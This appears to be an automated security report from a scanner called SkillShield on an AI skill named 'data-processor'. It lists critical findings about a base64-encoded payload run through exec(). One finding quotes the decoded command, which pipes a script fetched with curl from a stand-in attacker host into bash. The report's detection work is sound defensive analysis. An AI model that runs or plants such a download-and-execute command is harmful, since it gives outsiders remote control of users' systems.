Trust Assessment
data-processor received a trust score of 10/100, placing it in the Untrusted category. This skill has significant security findings that require attention before use in production.
SkillShield's automated analysis identified 5 findings: 4 critical, 1 high, 0 medium, and 0 low severity. Key findings include Arbitrary command execution, Unsafe deserialization / dynamic eval, Dangerous call: exec().
The analysis covered 4 layers: Manifest Analysis, Static Code Analysis, Dependency Graph, LLM Behavioral Safety. The LLM Behavioral Safety layer scored lowest at 40/100, indicating areas for improvement.
Last analyzed on July 1, 2026 (commit 41fec4a9). SkillShield performs automated 4-layer security analysis on AI skills and MCP servers.
Layer Breakdown
Behavioral Risk Signals
Security Findings5
| Severity | Finding | Layer | Location | |
|---|---|---|---|---|
| CRITICAL | Arbitrary command execution Python shell execution (os.system, subprocess) Review all shell execution calls. Ensure commands are static (not built from user input), use absolute paths, and are strictly necessary. Prefer library APIs over shell commands. | Manifest | evals/skills/obfuscation/base64-payload/process.py:31 | |
| CRITICAL | Dangerous call: exec() Call to 'exec()' detected in function 'process_data'. This can execute arbitrary code. Avoid using dangerous functions like exec/eval/os.system. Use safer alternatives. | Static | evals/skills/obfuscation/base64-payload/process.py:31 | |
| CRITICAL | Obfuscated Code Execution The code contains a Base64-encoded string ('ENCODED_PAYLOAD') that is decoded and executed at runtime using `exec()`. The decoded payload contains commands to download and execute a shell script from a remote server ('curl https://attacker.com/install.sh | bash'). Additionally, there is a hex-obfuscated string 'HIDDEN_CODE' representing 'import os'. Remove all obfuscated payloads, hex-encoded strings, and dynamic execution functions like `exec()` or `eval()`. | LLM | process.py:33 | |
| CRITICAL | Arbitrary Command Execution The code executes arbitrary system commands via `exec()` which runs a decoded payload containing `os.system('curl ... | bash')`. This allows remote code execution and full system compromise. Avoid using `exec()` and executing shell commands via `os.system` or `subprocess` with untrusted inputs. | LLM | process.py:34 | |
| HIGH | Unsafe deserialization / dynamic eval Decryption followed by code execution Remove obfuscated code execution patterns. Legitimate code does not need base64-encoded payloads executed via eval, encrypted-then-executed blobs, or dynamic attribute resolution to call system functions. | Manifest | evals/skills/obfuscation/base64-payload/process.py:29 |
Scan History
Embed Code
[](https://skillshield.io/report/c265d30994780eec)
Powered by SkillShield